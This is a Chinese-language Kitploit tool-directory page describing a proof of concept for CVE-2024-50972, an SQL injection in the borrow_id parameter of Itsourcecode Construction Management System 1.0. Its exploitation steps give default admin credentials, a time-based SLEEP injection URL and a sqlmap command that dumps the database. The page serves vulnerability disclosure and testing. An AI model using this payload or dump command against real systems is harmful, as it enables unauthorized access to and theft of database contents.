Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-50972 — Itsourcecode Construction Management System 1.0 中 SQL 注入的概念验证,演示了通过 borrow_id 参数进行基于时间的注入,并提供了利用步骤。 | Kitploit
工具/GitHubGitHub/akhlak2511/cve-2024-50972
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试数据库安全
GitHubakhlak2511/cve-2024-50972

CVE-2024-50972

Itsourcecode Construction Management System 1.0 中 SQL 注入的概念验证,演示了通过 borrow_id 参数进行基于时间的注入,并提供了利用步骤。

查看仓库
31年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-50972

描述

Itsourcecode Construction Management System 1.0 的 printtool.php 中存在 SQL 注入漏洞,允许远程攻击者通过 borrow_id 参数执行任意 SQL 命令。

漏洞类型

SQL 注入

产品厂商

Itsourcecode

受影响产品代码库:

https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/ - 1.0

受影响组件:

Itsourcecode Construction Management System v1.0 的 printtool.php 页面中的 borrow_id 参数存在 SQL 注入漏洞。

攻击向量:

  1. 在本地搭建应用,并使用管理员凭据 admin:admin 登录。
  2. 在浏览器中访问以下 URL: http://localhost/monitoring_system/printtool.php?borrow_id=5
  3. 注入 SQL 负载: 修改 URL 中的 borrow_id 参数,包含基于时间的 SQL 注入负载。 http://localhost/monitoring_system/printtool.php?borrow_id=5'+AND+(SELECT+7254+FROM+(SELECT(SLEEP(20)))rcGT)--+xxQB
  4. 观察应用响应: 页面加载时间会明显延长(20 秒),如果注入成功,这确认了 borrow_id 参数存在 SQL 注入漏洞。
  5. 现在使用 SQLMap 工具进一步利用并转储数据库,使用以下命令: sqlmap.py -u http://localhost/monitoring_system/printtool.php?borrow_id=5 --risk 3 --level 3 --cookie="PHPSESSID=your_cookie_here" --dbs --technique=T --dump --no-cast

参考资料:

  1. https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/
  2. https://owasp.org/www-community/attacks/SQL_Injection
下载工具